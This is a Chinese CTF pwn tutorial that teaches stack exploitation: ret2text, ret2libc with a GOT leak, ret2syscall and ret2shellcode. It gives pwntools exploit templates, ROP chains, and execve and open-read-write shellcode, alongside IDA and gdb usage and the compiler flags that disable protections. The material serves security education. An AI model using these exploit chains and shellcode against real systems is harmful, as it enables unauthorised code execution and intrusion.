1.pwn环境配置
视频讲解:https://www.bilibili.com/video/BV1YT1oYeEVd
配置指令:https://starrysky1004.github.io/2024/10/05/pwn-huan-jing-pei-zhi/
2.基础知识 & ret2text
PWN解题目标
获取远程靶机里的flag
文件中的字符串(flag
是动态的,每个队伍的flag
不同)
获取
shell
:和远程终端交互通过cat flag
获取可以获取
shell
的函数:**system('/bin/sh')
**system('sh')
system('$0')
ps:读的是远程的
flag
文件,本地可以用ls
确认是否获得shell
或创建一个flag
文件读取
flag
(open read write
)/system('cat flag')
前置基础
示例代码
#include <stdio.h>
char hello[] = "Hello world!";
int buf[10];
int func(int a, int b){
int res;
res = a + b;
return res;
}
int main(){
int a, b, c;
a = 10;
b = 20;
c = func(a, b);
printf("Result is: %d", c);
return 0;
}
工具使用
nc
在终端直接与远程程序交互:nc ip port
IDA
参考文章:https://www.cnblogs.com/ve1kcon/p/17812418.html
快捷键 | 作用 |
---|---|
n | 重命名变量/函数 |
y | 修改函数原型或者变量类型 |
tab | 在反汇编窗口中,进行汇编指令与伪代码之间的切换 |
esc | 翻页,返回前一页面 |
space | 在反汇编窗口中,进行列表视图与图形视图之间的切换 |
f12 | 打开字符串窗口,可用于字符串搜索 |
/ | 添加注释 |
gdb
参考文章:https://www.cnblogs.com/ve1kcon/p/17812420.html
指令 | 作用 |
---|---|
gdb filename | 进入调试可执行程序 |
r | 开始/重新运行程序 |
c | 运行到断点/结束 |
q | 退出 |
n | 单步调试 |
s | 单步调试并跟进函数 |
p/x | 用于计算(相当于计算器) |
vmmap | 获取调试进程中的虚拟映射地址范围 |
x/gx x/gi x/gs | 以数据 / 汇编 / 字符串的形式查看内存(x/20gx一次查看更多数据) |
b *address / function_name / *$rebase(address) | 绝对地址 / 函数名 / 相对地址下断点 |
fin | 跳出当前函数,执行到函数返回处 |
context | 重新打印页面信息 |
code | 查看程序基址 |
libc | 查看libc基址 |
checksec
checksec filename
查看架构、端序、保护
elf文件格式
.init、.fini
:保存了进程初始化和结束所用的代码,这两个节通常都是由编译器自动添加plt、got
:动态链接的跳转和全局入口表.text
:代码段.rodata
:保存了只读数据,可以读取但不能修改例如示例代码中的
"Result is: %d"
.data
:已初始化的全局变量和局部静态变量都保存在.data
段例如示例代码中的
"Hello world!"
.bss
:未初始化的全局变量和局部静态变量默认值都为0
.bss
段只是为未初始化的全局变量和局部静态变量预留位置没有内容,所以它在文件中也不占据空间例如示例代码中的
buf
函数调用过程
栈
指数据暂时存储的地方,所以才有入栈、出栈的说法,入栈和出栈都在栈顶(即将数据存放到数据暂存区的顶部以及从顶部取出数据),局部非静态变量存储在栈中
寄存器
64位
一个地址占8
字节,可以使用pwntools
的p64
生成一个64
位的地址
栈:rbp
-> 栈底 rsp
-> 栈顶
当前执行指令寄存器:rip
传参:rdi
-> 一参 rsi
-> 二参 rdx
-> 三参
32位
一个地址占4
字节,可以使用pwntools
的p32
生成一个32
位的地址
栈:ebp
:栈底 esp
:栈顶
当前执行指令寄存器:eip
传参:通过栈传参
函数调用
详细过程讲解见视频
linux保护机制
ASLR:Address Space Layout Randomization
linux
地址随机化,程序运行时的堆栈以及共享库的加载地址随机化关闭
ASLR
:sudo sysctl -w kernel.randomize_va_space=0
RELRO:RELocation Read-Only
Full RELRO
:got
表不可写Partial RELRO
gcc编译时关闭relro参数: -z norelro 完全关闭 -z lazy 部分开启 -z now 完全开启
stack
canary
,防止栈溢出,位于rbp - 0x8
gcc编译时关闭canary参数: -fno-stack-protector
NX:Non-eXecute
NX enable
:堆栈不可执行,仅.text
段可执行No NX
gcc编译时关闭NX参数: -z execstack 允许在堆栈上执行代码 -z noexecstack 禁止在堆栈上执行代码
PIE
gcc编译,code,获取地址,下断点
PIE enabled
:程序地址随机化No PIE
gcc编译时关闭PIE参数: -no-pie
ret2text
即返回到text
段,劫持返回地址到后门(即覆盖ret
为后门的地址)
原理
输入长度没有被限制导致覆盖到ret
例如:gets
函数不限制输入长度
解题
- 检查保护(确认
no pie
以及no canary
) - 确定后门地址、变量到栈底的距离(根据
IDA
中变量后的rbp-xx
得到与栈底的距离为xx
) - 填充中间空间(变量到栈底的距离+
rbp
的长度)并覆盖ret
为返回地址
交互脚本模板
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './filename' #修改成可执行文件名
debug = 0 #打远程时改成1
if debug:
r = remote('ip', port) #打远程时修改ip和端口
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r) #在需要调试的地方加上dbg()
r.interactive()
3.ret2libc
前置基础
相关概念
gadget
:程序本身或者libc
中存在的一些汇编指令,每一条指令有其对应的地址,将这些gadget
地址部署到栈中可以执行该地址中存放的汇编指令
例如:ret2text
就是执行程序本身有的system("/bin/sh");
指令
ROP
:一种利用现有程序中的代码片段(即gadget
)来构造攻击的技术,通过构造一系列的gadget
来实现攻击目标,也可以控制程序执行好几段不相邻的程序已有的代码
例如:在返回地址处按顺序填上函数func1
、func2
、func3
的地址就会依次执行这三个函数,更多的是利用其中的汇编指令
工具指令
ROPgadget
获取gadget
地址,--binary
参数指定文件,可以是可执行文件或libc
文件,grep
用于筛选,--string
用于筛选字符串
通过pop rdi
可以将栈地址中的值传递给rdi
寄存器,其他寄存器也同理,所以在构造ROP
链时直接使用p64(pop_rdi_ret) + p64(rdi_content)
即可控制rdi
寄存器的值为rdi_content
$ROPgadget --binary ./pwn --only 'pop|ret' | grep 'rdi' #控制寄存器的值
$ROPgadget --binary ./pwn --string '/bin/sh' #查找字符串
$ROPgadget --binary ./libc-2.35.so --only 'leave|ret' | grep 'leave' #查找leave ret指令地址
$ROPgadget --binary ./pwn --ropchain #生成现成的rop利用链直接getshell,适用于静态编译的程序
$ROPgadget --binary ./pwn --only 'ret' #查找ret指令的地址
string
$strings ./libc.so.6 | grep GNU #获取libc版本
glibc-all-in-one
进入glibc-all-in-one
文件夹下执行./update_list
之后cat list
确认是否有对应版本的libc
,存在对应版本使用./download libc版本名
进行下载,下载完成之后存在于libs
文件夹下,需要用的时候将文件夹下的libc
文件夹复制过去,下载失败可以直接复制下载地址到windows
中下载再放到虚拟机里
示例
使用strings
指令确定libc
版本为2.38-1ubuntu6
,使用file
指令确定32
位(也可以checksec ./pwn
)
$strings ./libc.so.6 | grep GNU
GNU C Library (Ubuntu GLIBC 2.38-1ubuntu6) stable release version 2.38.
Compiled by GNU CC version 13.2.0.
$file libc.so.6
libc.so.6: ELF 32-bit LSB shared object, Intel 80386, version 1 (GNU/Linux), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=495fc00b597566b5e14e221f563afe29ec1d8478, for GNU/Linux 3.2.0, stripped
确认list
列表中存在该版本的libc
$cat list
2.23-0ubuntu11.3_amd64
2.23-0ubuntu11.3_i386
2.23-0ubuntu3_amd64
2.23-0ubuntu3_i386
2.27-3ubuntu1.5_amd64
2.27-3ubuntu1.5_i386
2.27-3ubuntu1.6_amd64
2.27-3ubuntu1.6_i386
2.27-3ubuntu1_amd64
2.27-3ubuntu1_i386
2.31-0ubuntu9.12_amd64
2.31-0ubuntu9.12_i386
2.31-0ubuntu9.7_amd64
2.31-0ubuntu9.7_i386
2.31-0ubuntu9_amd64
2.31-0ubuntu9_i386
2.35-0ubuntu3.4_amd64
2.35-0ubuntu3.4_i386
2.35-0ubuntu3_amd64
2.35-0ubuntu3_i386
2.37-0ubuntu2.1_amd64
2.37-0ubuntu2.1_i386
2.37-0ubuntu2_amd64
2.37-0ubuntu2_i386
2.38-1ubuntu6_amd64
2.38-1ubuntu6_i386
下载该版本的libc
,如果下载失败可以直接复制里面的链接https://mirror.tuna.tsinghua.edu.cn/ubuntu/pool/main/g/glibc/libc6_2.38-1ubuntu6_i386.deb
在windows
里下载再存到虚拟机里,下载完成后位于libs
文件夹中,需要使用时直接cp -r ~/glibc-all-in-one/libs/2.38-1ubuntu6_i386 ./2.38
复制文件夹使用
$./download 2.38-1ubuntu6_i386
Getting 2.38-1ubuntu6_i386
-> Location: https://mirror.tuna.tsinghua.edu.cn/ubuntu/pool/main/g/glibc/libc6_2.38-1ubuntu6_i386.deb
-> Downloading libc binary package
-> Extracting libc binary package
x - debian-binary
x - control.tar.zst
x - data.tar.zst
/home/starrysky/glibc-all-in-one
-> Package saved to libs/2.38-1ubuntu6_i386
-> Location: https://mirror.tuna.tsinghua.edu.cn/ubuntu/pool/main/g/glibc/libc6-dbg_2.38-1ubuntu6_i386.deb
-> Downloading libc debug package
-> Extracting libc debug package
x - debian-binary
x - control.tar.zst
x - data.tar.zst
/home/starrysky/glibc-all-in-one
-> Package saved to libs/2.38-1ubuntu6_i386/.debug
ldd
获取可执行文件的动态链接文件,包括ld
和libc
等
$ldd ./pwn
patchelf
更改可执行文件的动态链接文件,更改ld
可以直接指定ld
文件,而更改libc
需要先使用ldd
查看原libc
作为--replace-needed
选项的第一个参数,一般默认是libc.so.6
libc和ld要同时更改确保在同一版本
$patchelf --replace-needed libc.so.6 ./2.38/libc.so.6 ./pwn #更改libc
$patchelf --set-interpreter ./2.35/ld-linux-x86-64.so.2 ./pwn #更改ld
onegadget
能直接getshell
的gadget
,添加参数-l2
可以获得更多
$one_gadget ./libc.so.6
延迟绑定
延迟绑定是一种在程序运行时才解析外部符号(如函数和变量)地址的技术,它允许程序在启动时不必立即加载所有动态链接库中的符号,从而提高程序的启动速度
c
语言内置的函数(例如printf
)都是依赖于libc
中的外部函数
动态链接与静态链接
动态链接是指在程序运行时才将程序与所需的动态链接库中的库函数链接起来的过程,动态链接的程序在启动时会加载所需的动态库(例如libc
),并在运行时解析外部符号的地址
静态链接在编译时将所有需要的库函数直接复制到可执行文件中,生成的可执行文件不依赖于外部的库文件,可以独立运行,但是会导致可执行文件体积增大
plt与got
PLT(Procedure Linkage Table) 是一个代码段,包含了用于动态链接的跳转指令。每个需要动态链接的外部函数都会在PLT
中有一个条目,当程序第一次调用这个函数时,PLT
中的代码会被执行,这个代码会去查找并解析外部函数的实际地址,并将其存储在GOT
中,以便后续调用时直接跳转到正确的地址
GOT(Global Offset Table) 是一个数据段,存储了所有外部符号的地址。在程序启动时,GOT
中的条目可能并不包含最终的地址,而是包含指向PLT
中相应条目的指针。当PLT
条目第一次被执行时,会将查找到的外部符号地址更新到GOT
中,这样后续的调用就可以直接通过GOT
找到正确的地址
延迟绑定过程
- 程序启动:程序启动时,动态链接器加载程序和所有依赖的动态库
- 符号解析:当程序第一次调用一个外部函数时,
PLT
中的代码会被执行,查找并解析外部函数的实际地址 - 地址存储:查找到的地址被存储在
GOT
中,以便后续调用 - 直接调用:后续对同一外部函数的调用将直接通过
GOT
进行,无需再次解析
总结
- 执行函数的
plt
会通过跳转got
直接调用到该函数 got
表可写的情况下覆盖函数的got
表为其他函数地址可以实现调用该函数时执行到其他函数
ret2libc
目标是执行system("/bin/sh");
,即执行system
函数其一参为"/bin/sh"
有system和/bin/sh
延迟绑定部分提到,执行函数的plt
可以直接调用到该函数,那么构造rop
链就是要先控制一参rdi
为"/bin/sh"
的地址再填system
的plt
控制一参
使用
ROPgadget
找到pop rdi
的地址$ROPgadget --binary ./pwn --only 'pop|ret' | grep 'rdi'
ps:
gadget
中含有pop rdi
就行,但是有pop
其他寄存器就需要在后面加上对应的值,例如0x000ac112 : pop rdi ; pop rbx ; ret
,pop rdi
之后还pop rbx
,所以后面需要加两个地址,即p64(0x000ac112) + p64(rdi_content) + p64(rbx_content)
,后面就可以继续加其他gadget
找
"/bin/sh"
地址"/bin/sh"
地址需要在IDA
中查找,直接按f12
找到对应地址找
system
函数地址pwntools
中可以直接获取plt
和got
的地址:elf.plt['system']
elf.got['system']
最终构造出
#ROPgadget --binary ./pwn --only 'pop|ret' | grep 'rdi' -> pop_rdi_ret
pop_rdi_ret =
bin_sh = IDA中/bin/sh地址
system_plt = elf.plt['system']
p = b'a' * ? + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_plt)
r.sendline(p)
有system无/bin/sh
缺少/bin/sh
可以直接往程序中的一个地址写入/bin/sh
,假设地址是buf
,那么就要先构造gets(buf)
,读取/bin/sh
之后再执行system('/bin/sh')
,其中system
的一参就说buf
,即/bin/sh
的地址
- 获取
gets
的plt
地址:elf.plt['gets']
- 设置
buf
的地址,从IDA
中选取,可以从bss
段中选取地址 - 获取
system
的plt
地址:elf.plt['system']
- 设置一参:
ROPgadget --binary ./pwn --only 'pop|ret' | grep 'rdi'
最终构造:注意发送/bin/sh
最后加上\x00
截断字符串,在执行rop
链的过程中会执行gets(buf)
从输入流输入buf
的值,此时输入/bin/sh\x00
即可向buf
输入字符串
#ROPgadget --binary ./pwn --only 'pop|ret' | grep 'rdi' -> pop_rdi_ret
pop_rdi_ret =
buf =
gets_plt = elf.plt['gets']
system_plt = elf.plt['system']
p = b'a' * ?
p += p64(pop_rdi_ret) + p64(buf) + p64(gets_plt) #gets(buf)
p += p64(pop_rdi_ret) + p64(buf) + p64(system_plt) #system(buf)
r.sendline(p)
r.sendline('/bin/sh\x00')
无system无/bin/sh
可执行文件中没有system
,但是作为动态链接库的libc
中有,所以直接执行libc
中的system
即可,所以思路就是先获取libc
的基址,再计算libc
中system
和/bin/sh
的地址,最后执行system('/bin/sh')
got
部分提到got
表存放了外部符号地址,即libc
中的地址,所以如果能够泄露got
表中的地址就能获取libc
中某个函数的真实地址,再减去这个函数在libc
中的偏移就能得到libc
的基址,最后加上system
函数的偏移就能得到system
函数的地址
泄露
got
表中函数的地址需要用一个输出函数输出一个
got
表的地址,一般构造puts(puts_got)
,最后还要再回到该函数继续利用栈溢出,即p64(pop_rdi_ret) + p64(puts_got) + p64(puts) + p64(main)
接收该地址:基本就是一个固定用法
u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
获取
libc
基址标志:64位以
7f
开头,基址末尾三位是0已知
puts
函数的真实地址和puts
函数的偏移,libc
的基址就等于真实地址减偏移获取
puts
函数在libc
中的偏移可以通过libc = ELF('libc文件')
,然后libc.sym['puts']
得到puts
偏移在打本地的时候如果修改了
libc
版本需要对应修改ELF
里的文件路径,也可以直接在本地打通之后修改文件路径为远程的libc
文件后直接打远程获取
system
和/bin/sh
地址:从libc
获取地址需要加上基址system = libc.sym['system'] + libc_base
bin_sh = libc.search(b'/bin/sh\x00').__next__() + libc_base
最终构造:
#ROPgadget --binary ./pwn --only 'pop|ret' | grep 'rdi' -> pop_rdi_ret
pop_rdi_ret =
main = elf.sym['main']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
p = b'a' * ? + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
r.sendline(p)
libc = ELF('libc文件路径')
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts']
system = libc.sym['system'] + libc_base
bin_sh = libc.search(b'/bin/sh\x00').__next__() + libc_base
p = b'a' * ? + p64(pop_rdi_ret) + p64(bin_sh) + p64(system)
r.sendline(p)
堆栈平衡
某些指令,如movaps
(用于操作XMM
寄存器),要求栈指针RSP
必须是16
字节对齐的,直接从返回地址开始写rop
链可能会造成堆栈不平衡,需要在rop
链前加上汇编指令ret
平衡堆栈
$ROPgadget --binary ./pwn --only 'ret' #查找ret指令的地址
32位程序
32位和64位的区别就是32位通过栈传参而不通过寄存器传参,所以不像64位需要找pop rdi
的值,32位构造rop
链的方式是函数+返回地址+参数列表,例如
p = b'a' * ?
p += p64(pop_rdi_ret) + p64(buf) + p64(gets) #gets(buf)
p += p64(pop_rdi_ret) + p64(buf) + p64(system) #system(buf)
对应32位的程序
p = b'a' * (0x64 + 0xc) + p32(gets_plt) + p32(system_plt) + p32(bss) * 2
例题
https://starrysky1004.github.io/ret2libc.zip
补充
在题目没有给libc
的情况下可以通过泄露多个已知函数名的地址,在https://libc.rip/中查询
4.ret2syscall&ret2shellcode&零碎知识点
ret2syscall
前置基础
操作系统的进程空间分为用户空间和内核空间,内核空间需要更高的权限,系统调用就是运行在用户空间的程序向操作系统内核请求需要更高权限运行的内核函数
当用户态进程发起一个系统调用,CPU
切换到内核态并开始执行一个内核函数。由于系统调用处理函数只有一个,所以需要通过rax
传递系统调用号确定调用的函数
利用
应用程序在用户态准备好调用参数(包括系统调用号和函数参数),在64
位程序中执行syscall
或在32
位程序中执行int 80
触发软中断,CPU
被软中断打断后执行对应中断处理函数,最后执行ret
指令切换回用户态
常用系统调用号:
32
位 read 3 open 5 write 4 sigreturn 77/0x4D execve 11/0xb
64
位 read 0 open 2 write 1 sigreturn 15/0xF execve 59/0x3b
execve
用法:execve("/bin/sh",NULL,NULL)
p = p64(pop_rax_ret) + p64(a) + p64(pop_rdi_ret) + p64(b) + p64(pop_rsi_ret) + p64(c) + p64(syscall)
对比ret2libc
p = p64(pop_rdi_ret) + p64(b) + p64(pop_rsi_ret) + p64(c) + p64(xxx_plt)
全部系统调用号参考:https://syscalls.mebeim.net/?table=x86/64/x64/latest
ret2shellcode
前置基础
控制程序执行shellcode
代码,shellcode
指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的shell
,或者open read write
获取并输出flag
,通常情况下shellcode
需要我们自行编写,即向内存中填充一些可执行的代码
前提条件:shellcode
所在的区域具有可执行权限
工具
查看禁用的函数seccomp-tools dump ./pwn
exp
中pwntools
使用:
使用
asm()
将汇编代码转换为对应的机器码生成
shell
shellcode = shellcraft.sh()
生成
orw
shellcode = shellcraft.open('./flag') shellcode += shellcraft.read(3, 0x123000 + 0x100, 0x30) #'rsp' shellcode += shellcraft.write(1, 0x123000 + 0x100,0x30)
自己写
shellcode
执行
execve('/bin/sh', 0, 0)
shellcode = ''' xor rdx,rdx push rdx mov rsi,rsp mov rax,0x68732f2f6e69622f push rax mov rdi,rsp mov rax,59 syscall '''
执行
open read write
shellcode = """ push 0x67616c66 mov rdi,rsp xor esi,esi push 2 pop rax syscall mov rdi,rax mov rsi,rsp mov edx,0x100 xor eax,eax syscall mov edi,1 mov rsi,rsp push 1 pop rax syscall """
在线汇编和反汇编:http://shell-storm.org/online/Online-Assembler-and-Disassembler/
常见情况
- 没有开启
NX
保护,可以泄露栈地址向栈中写入shellcode
再将返回地址改到该地址 - 程序使用
mprotect
函数给某一段可读可写可执行权限,并且让用户向这一段的变量中输入,再直接将输入的变量作为函数调用
零碎知识点
整数溢出:变量定义为整型但输入后(unsigned int)
强制转化为无符号整型,输入-1
则变成正无穷
字符溢出:char
类型范围是-128~+127
,因此输入超过128
会变成负数
数组越界:index
可控的时候越界写到其他变量
str
类函数:例如strcpy
、strcat
、strcmp
、strlen
等函数会被\x00
截断
scanf
:输入+
或-
不会有实际输入
随机数绕过:利用c
和python
联合编程,例如:
from ctypes import *
libc = cdll.LoadLibrary('./2.35/libc.so.6')
seed = 0
libc.srand(seed)
for i in range(21):
v6 = (libc.rand() ^ 0x24) + 1
r.sendlineafter('input: ', str(v6))